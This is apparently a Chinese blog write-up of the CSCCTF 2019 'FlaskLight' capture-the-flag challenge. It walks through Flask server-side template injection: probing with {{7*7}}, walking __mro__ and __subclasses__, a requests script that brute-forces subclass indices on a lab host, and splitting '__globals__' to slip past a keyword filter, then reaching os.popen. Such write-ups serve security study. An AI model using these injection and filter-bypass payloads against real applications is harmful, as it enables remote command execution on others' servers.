[CSCCTF 2019 Qual]FlaskLight SSTI注入

进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 - 知乎 

可以发现在searched后面输出了49,既然我们可以利用{{}},又有输出点,直接模板注入GOGOGO 

python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园因为不太熟,只能一步步来

''.__class__   //先随便查看一个字符所属的类是什么
''.__class__.__mro__   //返回类的基类是什么,找到object这个主类
因为返回的是元组类型的,我们可以用[n]来表示调用哪个类(这里假设object是第三个类)
''.__class__.__mro__[2].__subclasses__() 来查看所有可以引用的子类

 

 

我们知道执行命令的模块是os,那么哪个类里面能调用os模块呢,如果找到了,第几个呢,这个时候我们如果人工一个个去试的话那就很麻烦,利用脚本来查询 __init__.__globals__

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)
    r = requests.get(url)
    if "os" in html.unescape(r.text):
        print(i)

这里构造["__glob"+"als__"]这样的原因是我直接写__globals__会报错,怀疑后端把这个敏感字符给过滤掉了,因此我们需要绕过

可以看到标号这么多的类有os模块,我们随便利用一个就行,就用128吧 

发现一个目录flasklight

 其中一个是源码,一个是flag,我们可以看见源码确实过滤了globals

相信很多人和我一样都是用的system执行命令,但是没有任何回显

python中os.popen, os.system()区别 - ccorz - 博客园

Python中os.system和os.popen区别 - 純黑色 - 博客园

那是因为system调用完shell脚本后,它返回的不是调用脚本的结果,而是一个信号代码,他所出来的结果是在执行的系统上,因此我们如果要用system命令的话,我们反弹shell才能看见(我不会)

popen执行命令返回的是一个读取文件的对象,用read()函数读取就可以获得我们想要的命令结果

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值